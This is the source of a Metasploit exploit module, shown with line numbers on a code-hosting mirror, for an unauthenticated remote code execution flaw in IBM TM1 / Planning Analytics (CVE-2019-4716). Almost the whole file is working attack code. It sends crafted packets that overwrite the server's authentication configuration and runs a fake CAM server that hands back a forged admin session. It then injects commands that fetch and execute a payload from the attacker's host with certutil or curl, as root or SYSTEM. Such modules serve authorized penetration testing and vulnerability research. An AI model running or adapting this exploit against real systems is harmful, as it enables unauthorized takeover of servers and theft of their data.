Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
57719 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'openssl'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Exploit::Remote::HttpServer
13
include Msf::Exploit::EXE
14
include Msf::Exploit::FileDropper
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'IBM TM1 / Planning Analytics Unauthenticated Remote Code Execution',
21
'Description' => %q{
22
This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows
23
an unauthenticated attacker to perform a configuration overwrite.
24
It starts by querying the Admin server for the available applications, picks one,
25
and then exploits it. You can also provide an application name to bypass this step,
26
and exploit the application directly.
27
The configuration overwrite is used to change an application server authentication
28
method to "CAM", a proprietary IBM auth method, which is simulated by the exploit.
29
The exploit then performs a fake authentication as admin, and finally abuses TM1
30
scripting to perform a command injection as root or SYSTEM.
31
Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux.
32
Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions
33
earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014).
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'Pedro Ribeiro <[email protected]>',
38
# Vulnerability discovery and Metasploit module
39
'Gareth Batchelor <[email protected]>'
40
# Real world exploit testing and feedback
41
],
42
'References' => [
43
[ 'CVE', '2019-4716' ],
44
[ 'URL', 'https://www.ibm.com/support/pages/node/1127781' ],
45
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_tm1_rce.md' ],
46
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Mar/44' ]
47
],
48
'Targets' => [
49
[
50
'Windows',
51
{
52
'Platform' => 'win',
53
'Arch' => [ARCH_X86, ARCH_X64]
54
}
55
],
56
[
57
'Windows (Command)',
58
{
59
'Platform' => 'win',
60
'Arch' => [ARCH_CMD],
61
'Payload' =>
62
{
63
# Plenty of bad chars in Windows... there might be more lurking
64
'BadChars' => "\x25\x26\x27\x3c\x3e\x7c"
65
}
66
}
67
],
68
[
69
'Linux',
70
{
71
'Platform' => 'linux',
72
'Arch' => [ARCH_X86, ARCH_X64]
73
}
74
],
75
[
76
'Linux (Command)',
77
{
78
'Platform' => 'unix',
79
'Arch' => [ARCH_CMD],
80
'Payload' =>
81
{
82
# only one bad char in Linux, baby! (that we know of...)
83
'BadChars' => "\x27"
84
}
85
}
86
],
87
[
88
'AIX (Command)',
89
{
90
# This should work on AIX, but it was not tested!
91
'Platform' => 'unix',
92
'Arch' => [ARCH_CMD],
93
'Payload' =>
94
{
95
# untested, but assumed to be similar to Linux
96
'BadChars' => "\x27"
97
}
98
}
99
],
100
],
101
'Stance' => Msf::Exploit::Stance::Aggressive,
102
# we need this to run in the foreground
103
'DefaultOptions' => {
104
# give the target lots of time to download the payload
105
'WfsDelay' => 30
106
},
107
'Privileged' => true,
108
'DisclosureDate' => '2019-12-19',
109
'DefaultTarget' => 0,
110
'Notes' => {
111
'Stability' => [ CRASH_SAFE ],
112
'Reliability' => [ REPEATABLE_SESSION ],
113
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
114
}
115
)
116
)
117
register_options(
118
[
119
Opt::RPORT(5498),
120
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
121
]
122
)
123
register_advanced_options [
124
OptString.new('APP_NAME', [false, 'Name of the target application']),
125
OptInt.new('AUTH_ATTEMPTS', [true, 'Number of attempts to auth to CAM server', 10]),
126
]
127
end
128
129
## Packet structure start
130
# these are client message types
131
MSG_TYPES = {
132
auth: [ 0x0, 0x1 ],
133
auth_uniq: [ 0x0, 0x3 ],
134
auth_1001: [ 0x0, 0x4 ],
135
auth_cam_pass: [ 0x0, 0x8 ],
136
auth_dist: [ 0x0, 0xa ],
137
obj_register: [ 0, 0x21 ],
138
obj_prop_set: [ 0, 0x25 ],
139
proc_create: [ 0x0, 0x9c ],
140
proc_exec: [ 0x0, 0xc4 ],
141
get_config: [ 0x1, 0x35 ],
142
upd_clt_pass: [ 0x1, 0xe2 ],
143
upd_central: [ 0x1, 0xae ]
144
}.freeze
145
146
# packet header is universal for both client and server
147
PKT_HDR = [ 0, 0, 0xff, 0xff ].freeze
148
149
# pkt end marker (client only, server responses do not have it)
150
PKT_END = [ 0xff, 0xff ].freeze
151
152
# empty auth object, used for operations that do not require auth
153
AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].freeze
154
155
# This is actually the client version number
156
# 0x6949200 = 110400000 in decimal, or version 11.4
157
# The lowest that version 11.4 seems to accept is 8.4, so leave that as the default
158
# 8.4 = 0x4CACE80
159
# 9.1 = 0x55ED120
160
# 9.4 = 0x5636500
161
# 10.1 = 0x5F767A0
162
# 10.4 = 0x5FBFB80
163
# 11.1 = 0x68FFE20
164
# 11.4 = 0x6949200
165
#
166
# If something doesn't work, try using one of the values above, but bear in mind this module
167
# was tested on 10.2.2 and 11.4,
168
VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ].freeze
169
## Packet structure end
170
171
## Network primitives start
172
# unpack a string (hex string to array of bytes)
173
def str_unpack(str)
174
arr = []
175
str.scan(/../).each do |b|
176
arr += [b].pack('H*').unpack('C*')
177
end
178
arr
179
end
180
181
# write strings directly to socket; each 2 string chars are a byte
182
def sock_rw_str(sock, msg_str)
183
sock_rw(sock, str_unpack(msg_str))
184
end
185
186
# write array to socket and get result
187
# wait should also be implemented in msf
188
def sock_rw(sock, msg, ignore: false, wait: 0)
189
sock.write(msg.pack('C*'))
190
if !ignore
191
sleep(wait)
192
recv_sz = sock.read(2).unpack('H*')[0].to_i(16)
193
bytes = sock.read(recv_sz - 2).unpack('H*')[0]
194
bytes
195
end
196
end
197
198
def sock_r(sock)
199
recv_sz = sock.read(2).unpack('H*')[0].to_i(16)
200
bytes = sock.read(recv_sz - 2).unpack('H*')[0]
201
bytes
202
end
203
204
def get_socket(app_host, app_port, ssl = 0)
205
begin
206
ctx = { 'Msf' => framework, 'MsfExploit' => self }
207
sock = Rex::Socket.create_tcp(
208
{ 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }
209
)
210
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
211
sock.close if sock
212
end
213
if sock.nil?
214
fail_with(Failure::Unknown, 'Failed to connect to the chosen application')
215
end
216
if ssl == 1
217
# also need to add support for old ciphers
218
ctx = OpenSSL::SSL::SSLContext.new
219
ctx.min_version = OpenSSL::SSL::SSL3_VERSION
220
ctx.security_level = 0
221
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
222
s = OpenSSL::SSL::SSLSocket.new(sock, ctx)
223
s.sync_close = true
224
s.connect
225
return s
226
end
227
return sock
228
end
229
## Network primitives end
230
231
## Packet primitives start
232
def pack_sz(sz)
233
[sz].pack('n*').unpack('C*')
234
end
235
236
# build a packet, ready to send
237
def pkt_build(msg_type, auth_obj, contents)
238
pkt = PKT_HDR + msg_type + auth_obj + contents + PKT_END
239
pack_sz(pkt.length + 2) + pkt
240
end
241
242
# extracts the first object from a server response
243
def obj_extract(res)
244
arr = str_unpack(res)
245
246
# ignore packet header (4 bytes)
247
arr.shift(PKT_HDR.length)
248
if arr[0] == 5
249
# this is an object, get the type (1 byte) plus the object bytes (9 bytes)
250
obj = arr[0..9]
251
obj
252
end
253
end
254
255
# adds a string to a packet
256
# C string = 0x2; utf string = 0xe; binary = 0xf
257
def stradd(str, type = 0xe)
258
arr = [ type ] # string type
259
arr += pack_sz(str.length)
260
arr += str.unpack('C*')
261
arr
262
end
263
264
# packs binary data into an array
265
def datapack(data)
266
arr = []
267
data.chars.each do |d|
268
arr << d.ord
269
end
270
arr
271
end
272
273
def binadd(data)
274
arr = [ 0xf ] # binary type 0xf
275
arr += pack_sz(data.length) # 2 byte size
276
arr += datapack(data) # ... and add the data
277
arr
278
end
279
280
def get_str(data)
281
s = ''
282
data.shift while data[0] != '"'.ord
283
data.shift
284
while data[0] != '"'.ord
285
s += data[0].chr
286
data.shift
287
end
288
# comma
289
data.shift
290
s
291
end
292
293
# This fetches the current IntegratedSecurityMode from a packet such as
294
# 0000ffff070000000203000000 01 07000000020e00000e0000 (1)
295
# 0000ffff070000000203000000 02 07000000020e00000e00084b65726265726f73 (2)
296
# 0000ffff070000000203000000 06 07000000010e0000 (6)
297
def get_auth(data)
298
# make it into an array
299
data = str_unpack(data)
300
if data.length > 13
301
# skip 13 bytes (header + array indicator + index indicator)
302
data.shift(13)
303
# fetch the auth method byte
304
data[0]
305
end
306
end
307
308
def update_auth(auth_method, restore: false)
309
# first byte of data is ignored, so add an extra space
310
if restore
311
srv_config = " IntegratedSecurityMode=#{auth_method}"
312
else
313
# To enable CAM server authentication over SSL, the CAM server certificate has to be previously
314
# imported into the server. Since we can't do this, disable SSL in the fake CAM.
315
srv_config = " IntegratedSecurityMode=#{auth_method}\n" \
316
"ServerCAMURI=http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}\n" \
317
"ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" \
318
"CAMUseSSL=F\n"
319
end
320
321
arr =
322
[ 3 ] + [ 0, 0, 0, 2 ] + # no idea what this index is
323
[ 3 ] + [ 0, 0, 0, 2 ] + # same here
324
[ 3 ] + [ 0 ] * 4 + # same here
325
stradd(rand_text_alpha(5..12)) + # same here...
326
stradd('tm1s_delta.cfg') + # update file name
327
binadd(srv_config) + # file data
328
stradd(rand_text_alpha(0xf)) # last sync timestamp, max len 0xf
329
330
upd_auth = pkt_build(
331
MSG_TYPES[:upd_central],
332
AUTH_OBJ_EMPTY,
333
[ 7 ] + # array type
334
[ 0, 0, 0, 7 ] + # array len (fixed size of 7 for this pkt)
335
arr
336
)
337
338
upd_auth
339
end
340
## Packet primitives end
341
342
## CAM HTTP functions start
343
def on_request_uri(cli, request)
344
xml_res = %(<?xml version="1.0" encoding="UTF-8"?>
345
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns1="http://developer.cognos.com/schemas/dataSourceCommandBlock/1/" xmlns:bus="http://developer.cognos.com/schemas/bibus/3/" xmlns:cm="http://developer.cognos.com/schemas/contentManagerService/1" xmlns:ns10="http://developer.cognos.com/schemas/indexUpdateService/1" xmlns:ns11="http://developer.cognos.com/schemas/jobService/1" xmlns:ns12="http://developer.cognos.com/schemas/metadataService/1" xmlns:ns13="http://developer.cognos.com/schemas/mobileService/1" xmlns:ns14="http://developer.cognos.com/schemas/monitorService/1" xmlns:ns15="http://developer.cognos.com/schemas/planningAdministrationConsoleService/1" xmlns:ns16="http://developer.cognos.com/schemas/planningRuntimeService/1" xmlns:ns17="http://developer.cognos.com/schemas/planningTaskService/1" xmlns:ns18="http://developer.cognos.com/schemas/reportService/1" xmlns:ns19="http://developer.cognos.com/schemas/systemService/1" xmlns:ns2="http://developer.cognos.com/schemas/agentService/1" xmlns:ns3="http://developer.cognos.com/schemas/batchReportService/1" xmlns:ns4="http://developer.cognos.com/schemas/dataIntegrationService/1" xmlns:ns5="http://developer.cognos.com/schemas/dataMovementService/1" xmlns:ns6="http://developer.cognos.com/schemas/deliveryService/1" xmlns:ns7="http://developer.cognos.com/schemas/dispatcher/1" xmlns:ns8="http://developer.cognos.com/schemas/eventManagementService/1" xmlns:ns9="http://developer.cognos.com/schemas/indexSearchService/1">
346
<SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
347
<cm:queryResponse>
348
<result baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]">
349
PLACEHOLDER
350
</result>
351
</cm:queryResponse>
352
</SOAP-ENV:Body>
353
</SOAP-ENV:Envelope>)
354
355
session =
356
%( <item xsi:type="bus:session">
357
<identity>
358
<value baseClassArray xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="tns:baseClass[1]">
359
<item xsi:type="bus:account">
360
<searchPath><value>admin</value></searchPath>
361
</item>
362
</value>
363
</identity>
364
</item>)
365
366
account =
367
%( <item xsi:type="bus:account">
368
<defaultName><value>admin</value></defaultName>
369
</item>)
370
371
headers = { 'SOAPAction' => '"http://developer.cognos.com/schemas/contentManagerService/1"' }
372
if request.body.include? '<searchPath>/</searchPath>'
373
print_good('CAM: Received first CAM query, responding with account info')
374
response = xml_res.sub('PLACEHOLDER', account)
375
elsif request.body.include? '<searchPath>~~</searchPath>'
376
print_good('CAM: Received second CAM query, responding with session info')
377
response = xml_res.sub('PLACEHOLDER', session)
378
elsif request.body.include? '<searchPath>admin</searchPath>'
379
print_good('CAM: Received third CAM query, responding with random garbage')
380
response = rand_text_alpha(5..12)
381
elsif request.method == 'GET'
382
print_good('CAM: Received request for payload executable, shell incoming!')
383
response = @pl
384
headers = { 'Content-Type' => 'application/octet-stream' }
385
else
386
response = ''
387
print_error('CAM: received unknown request')
388
end
389
send_response(cli, response, headers)
390
end
391
## CAM HTTP functions end
392
393
def restore_auth(app, auth_current)
394
print_status("Restoring original authentication method #{auth_current}")
395
upd_cent = update_auth(auth_current, restore: true)
396
s = get_socket(app[2], app[3], app[5])
397
sock_rw(s, upd_cent, ignore: true)
398
s.close
399
end
400
401
def exploit
402
# The first step is to query the administrative server to see what apps are available.
403
# This action can be done unauthenticated. We then list all the available app servers
404
# and pick a random one that is currently accepting clients. This step is important
405
# not only to know what app servers are available, but also to know if we need to use
406
# SSL or not.
407
# The admin server is usually at 5498 using SSL. Non-SSL access is disabled by default, but when enabled, it's available at port 5495
408
#
409
# Step 1: fetch the available applications / servers from the Admin server
410
# ... if the user did not enter an APP_NAME
411
if datastore['APP_NAME'].nil?
412
connect
413
print_status('Connecting to admin server and obtaining application data')
414
415
# for this packet we use string type 0xc (?) and cut off the PKT_END
416
pkt_control = PKT_HDR + [0] + stradd(lhost, 0xc)
417
pkt_control = pack_sz(pkt_control.length + 2) + pkt_control
418
data = sock_rw(sock, pkt_control)
419
disconnect
420
421
if data
422
# now process the response
423
apps = []
424
425
data = str_unpack(data)
426
427
# ignore packet header (4 bytes)
428
data.shift(PKT_HDR.length)
429
430
# now just go through the list we received, sample format below
431
# "24retail","tcp","10.11.12.123","17414","1460","1","127.0.0.1,127.0.0.1,127.0.0.1","1","0","","","","0","","0","","ipv4","22","0","2","http://centos7.doms.com:8014","8014"
432
# "GO_New_Stores","tcp","10.11.12.123","45557","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","23","0","2","https://centos7.doms.com:5010","5010"
433
# "GO_Scorecards","tcp","10.11.12.123","44321","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:44312","44312"
434
# "Planning Sample","tcp","10.11.12.123","12345","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:12354","12354"
435
# "proven_techniques","tcp","10.11.12.123","53333","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:5011","5011"
436
# "SData","tcp","10.11.12.123","12346","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:8010","8010"
437
while !data.nil? && (data.length > 2)
438
# skip the marker (0x0, 0x5) that indicates the start of a new app
439
data = data[2..]
440
441
# read the size and fetch the data
442
size = data[0..1].pack('C*').unpack('H*')[0].to_i(16)
443
data_next = data[2 + size..]
444
data = data[2..size]
445
446
# first is application name
447
app_name = get_str(data)
448
449
# second is protocol, we don't care
450
proto = get_str(data)
451
452
# third is IP address
453
ip = get_str(data)
454
455
# app port
456
port = get_str(data)
457
458
# mtt maybe? don't care
459
_mtt = get_str(data)
460
461
# not sure, and don't care
462
_unknown = get_str(data)
463
464
# localhost addresses? again don't care
465
_unknown_addr = get_str(data)
466
467
# I think this is the accepting clients flag
468
accepts = get_str(data)
469
470
# and this is a key one, the SSL flag
471
ssl = get_str(data)
472
473
# the leftover data is related to the REST API *I think*, so we just ignore it
474
475
print_good("Found app #{app_name} #{proto} ip: #{ip} port: #{port} available: #{accepts} SSL: #{ssl}")
476
apps.append([app_name, proto, ip, port.to_i, accepts.to_i, ssl.to_i])
477
478
data = data_next
479
end
480
else
481
fail_with(Failure::Unknown, 'Failed to obtain application data from the admin server')
482
end
483
484
# now pick a random application server that is accepting clients via TCP
485
app = apps.sample
486
total = apps.length
487
count = 0
488
489
# TODO: check for null return here, and probably also response size > 0x20
490
while (app[1] != 'tcp') && (app[4] != 1) && (count < total)
491
app = apps.sample
492
count += 1
493
end
494
495
if count == total
496
fail_with(Failure::Unknown, 'Failed to find an application we can attack')
497
end
498
print_status("Picked #{app[0]} as our target, connecting...")
499
500
else
501
# else if the user entered an APP_NAME, build the app struct with that info
502
ssl = datastore['SSL']
503
app = [datastore['APP_NAME'], 'tcp', rhost, rport, 1, (ssl ? 1 : 0)]
504
print_status("Attacking #{app[0]} on #{peer} as requested with TLS #{ssl ? 'on' : 'off'}")
505
end
506
507
s = get_socket(app[2], app[3], app[5])
508
509
# Step 2: get the current app server configuration variables, such as the current auth method used
510
get_conf = stradd(app[0])
511
get_conf += VERSION
512
auth_get = pkt_build(MSG_TYPES[:get_config], AUTH_OBJ_EMPTY, get_conf)
513
data = sock_rw(s, auth_get)
514
auth_current = get_auth(data)
515
516
print_good("Current auth method is #{auth_current}, we're good to go!")
517
s.close
518
519
# Step 3: start the fake CAM server / exploit server
520
if payload.arch.include? ARCH_CMD
521
@pl = ''
522
else
523
@pl = generate_payload_exe
524
end
525
526
print_status('Starting up the fake CAM server...')
527
start_service(
528
{
529
'Uri' => {
530
'Proc' => proc do |cli, req|
531
on_request_uri(cli, req)
532
end,
533
'Path' => '/'
534
},
535
'ssl' => false # do not use SSL
536
}
537
)
538
539
# Step 4: send the server config update packet, and ignore what it sends back
540
print_status('Changing authentication method to 4 (CAM auth)')
541
upd_cent = update_auth(4)
542
s = get_socket(app[2], app[3], app[5])
543
sock_rw(s, upd_cent, ignore: true)
544
s.close
545
546
# Step 5: send the CAM auth request and obtain the authentication object
547
# app name
548
auth_pkt = stradd(app[0])
549
550
auth_pkt += [ 0x7, 0, 0, 0, 3 ] # array with 3 objects
551
552
# passport, can be random
553
auth_pkt += stradd(rand_text_alpha(5..12))
554
555
# no idea what these vars are, but they don't seem to matter
556
auth_pkt += stradd(rand_text_alpha(5..12))
557
auth_pkt += stradd(rand_text_alpha(5..12))
558
559
# client IP
560
auth_pkt += stradd(lhost)
561
562
# add the client version number
563
auth_pkt += VERSION
564
565
auth_dist = pkt_build(MSG_TYPES[:auth_cam_pass], AUTH_OBJ_EMPTY, auth_pkt)
566
567
print_status('Authenticating using CAM Passport and our fake CAM Service...')
568
s = get_socket(app[2], app[3], app[5])
569
570
# try to authenticate up to AUTH_ATTEMPT times, but usually it works the first try
571
# adjust the 4th parameter to sock_rw to increase the timeout if it's not working and / or the CAM server is on another network
572
counter = 1
573
res_auth = ''
574
while (counter < datastore['AUTH_ATTEMPTS'])
575
# send the authenticate request, but wait a bit so that our fake CAM server can respond
576
res_auth = sock_rw(s, auth_dist, ignore: false, wait: 0.5)
577
if res_auth.length < 20
578
print_error("Failed to authenticate on attempt number #{counter}, trying again...")
579
counter += 1
580
next
581
else
582
break
583
end
584
end
585
if counter == datastore['AUTH_ATTEMPTS']
586
# if we can't auth, bail out, but first restore the old auth method
587
s.close
588
# restore_auth(app, auth_current)
589
fail_with(Failure::Unknown, 'Failed to authenticate to the Application server. Run the exploit and try again!')
590
end
591
592
auth_obj = obj_extract(res_auth)
593
594
# Step 6: create a Process object
595
print_status('Creating our Process object...')
596
proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:proc_create], auth_obj, [])))
597
598
if payload.arch == ['cmd']
599
cmd_one = payload.encoded
600
cmd_two = ''
601
else
602
payload_url = "http://#{srvhost}:#{srvport}/"
603
exe_name = rand_text_alpha(5..13)
604
if target['Platform'] == 'win'
605
# the Windows command has to be split amongst two lines; the & char cannot be used to execute two processes in one line
606
exe_name += '.exe'
607
exe_name = "C:\\Windows\\Temp\\#{exe_name}"
608
cmd_one = "certutil.exe -urlcache -split -f #{payload_url} #{exe_name}"
609
cmd_two = exe_name
610
else
611
# the Linux one can actually be done in one line, but let's make them similar
612
exe_name = "/tmp/#{exe_name}"
613
cmd_one = "curl #{payload_url} -o #{exe_name};"
614
cmd_two = "chmod +x #{exe_name}; exec #{exe_name}"
615
end
616
617
register_file_for_cleanup(exe_name)
618
end
619
620
proc_cmd =
621
[ 0x3, 0, 0, 2, 0x3c ] + # no idea what this index is
622
[ 0x7, 0, 0, 0, 2 ] + # array with 2 objects (2 line script)
623
# the first argument is the command
624
# the second whether it should wait (1) or not (0) for command completion before returning
625
stradd("executecommand('#{cmd_one}', #{cmd_two.empty? ? '0' : '1'});") +
626
stradd("executecommand('#{cmd_two}', 0);")
627
628
# Step 7: add the commands into the process object
629
print_status("Adding command: \"#{cmd_one}\" to the Process object...")
630
if cmd_two != ''
631
print_status("Adding command: \"#{cmd_two}\" to the Process object...")
632
end
633
sock_rw(s, pkt_build(MSG_TYPES[:obj_prop_set], [], proc_obj + proc_cmd))
634
635
# Step 8: register the Process object with a random name
636
obj_name = rand_text_alpha(5..12)
637
print_status("Registering the Process object under the name '#{obj_name}'")
638
proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:obj_register], auth_obj, proc_obj + stradd(obj_name))))
639
640
# Step 9: execute the Process!
641
print_status("Now let's execute the Process object!")
642
sock_rw(s, pkt_build(MSG_TYPES[:proc_exec], [], proc_obj + [ 0x7 ] + [ 0 ] * 4), ignore: true)
643
s.close
644
645
# Step 10: restore the auth method and enjoy the shell!
646
restore_auth(app, auth_current)
647
648
if payload.arch.include? ARCH_CMD
649
print_good('Your command should have executed by now, enjoy!')
650
end
651
end
652
end
653
654